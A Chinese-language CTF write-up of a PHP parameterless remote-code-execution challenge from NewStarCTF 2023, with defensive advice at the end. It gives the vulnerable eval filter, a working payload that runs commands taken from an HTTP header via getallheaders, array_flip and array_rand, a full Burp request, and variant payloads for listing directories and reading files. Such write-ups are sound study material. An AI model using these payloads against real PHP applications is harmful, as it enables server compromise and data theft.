PHP 无参数 RCE 高阶利用从 NewStarCTF 看 HTTP 头注入的艺术在 CTF 竞赛中PHP 无参数 RCE远程代码执行一直是 Web 题目中的经典考点。本文将深入剖析 NewStarCTF 2023 Week2 中一道极具代表性的题目展示如何通过getallheaders()配合array_flip()和array_rand()实现三层过滤的完美绕过。1. 无参数 RCE 的核心挑战无参数 RCE 的限制条件非常严格不允许在函数调用中直接传递任何参数。这意味着我们无法使用传统的方式如system(ls)执行命令。在这种限制下我们需要寻找能够获取外部输入的函数在不传递参数的情况下处理数据最终实现代码执行典型的过滤条件往往包括if (; preg_replace(/[^\W]\((?R)?\)/, , $_GET[star])) { if(!preg_match(/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i,$_GET[star])){ eval($_GET[star]); } }这段代码做了两重检查第一层确保只有无参数函数调用第二层黑名单过滤了危险函数2. HTTP 头注入技术解析2.1 getallheaders() 的妙用getallheaders()是 Apache 环境下获取所有 HTTP 请求头的函数它返回一个关联数组。例如Array ( [Host] example.com [User-Agent] Mozilla/5.0 [Accept] text/html [Custom-Header] malicious_command )这个函数的优势在于不需要任何参数返回的数据完全由攻击者控制通过修改请求头不在常见黑名单中2.2 数组操作函数链单纯获取头信息还不够我们需要将其转化为可执行的命令。这里使用两个关键函数array_flip()交换键值对// 转换前 [User-Agent Mozilla/5.0] // 转换后 [Mozilla/5.0 User-Agent]array_rand()随机返回一个键名// 返回 Mozilla/5.0 array_rand([Mozilla/5.0 User-Agent])2.3 完整利用链构造最终的 payload 结构如下?starsystem(array_rand(array_flip(getallheaders())));执行流程分解getallheaders()获取所有请求头array_flip()将头值变为键名array_rand()随机选择一个键名即原始头值system()执行被选中的值3. 实战操作BurpSuite 精准打击在 BurpSuite 中我们需要添加自定义请求头Evil-Command: ls /发送以下 payloadGET /bo0g1pop.php?starsystem(array_rand(array_flip(getallheaders()))) HTTP/1.1 Host: vulnerable.site Evil-Command: ls /通过多次请求提高成功率因为 array_rand 是随机的关键技巧保持其他头信息最小化减少干扰可以删除 User-Agent 等标准头使用 Intruder 模块进行批量尝试4. 技术变种与防御方案4.1 其他可利用的函数组合函数组合适用场景示例current(localeconv())获取点字符?starprint_r(glob(current(localeconv())));session_id()session_start()通过 Cookie 注入需要配合写文件getenv()putenv()环境变量操作需要特定配置4.2 防御策略对比防御措施优点缺点禁用危险函数直接有效可能影响正常功能正则表达式过滤灵活可控可能被绕过参数化执行最安全需要重构代码使用沙箱环境隔离风险性能开销大5. 深入理解为什么这种攻击有效这种攻击之所以成功核心在于 PHP 的几个特性灵活的类型转换PHP 会自动将数组转换为字符串宽松的作用域HTTP 头可以被用户完全控制函数组合威力看似无害的函数组合能产生意外效果一个典型的防御误区是只过滤单个危险函数而忽略了函数组合的可能性。例如以下过滤是不足的// 不安全的过滤方式 if(preg_match(/system|exec|shell_exec/, $input)) { die(Hacking attempt!); }6. 拓展应用其他 CTF 中的无参数技巧除了 HTTP 头注入无参数 RCE 还有其他常见技巧目录遍历?starprint_r(glob(dirname(chdir(dirname(getcwd())))));数学函数利用?starshow_source(next(array_reverse(glob(chr(46)))));时间函数?starreadfile(date(Y-m-d)..php);7. 总结与思考无参数 RCE 展示了安全领域一个重要的原则系统的安全性取决于最薄弱的环节。在这个案例中看似无害的 HTTP 头成为了攻击载体。对于开发者而言应该使用白名单而非黑名单限制函数调用层级对 eval 等危险函数进行沙箱隔离对于 CTF 选手掌握这种技巧需要熟悉 PHP 内部函数的行为理解数组操作的本质具备将多个简单操作组合成复杂攻击的能力这种攻击方式在真实环境中虽然少见但它深刻揭示了安全设计的复杂性——当系统提供过多灵活性和功能组合时往往会产生意想不到的攻击面。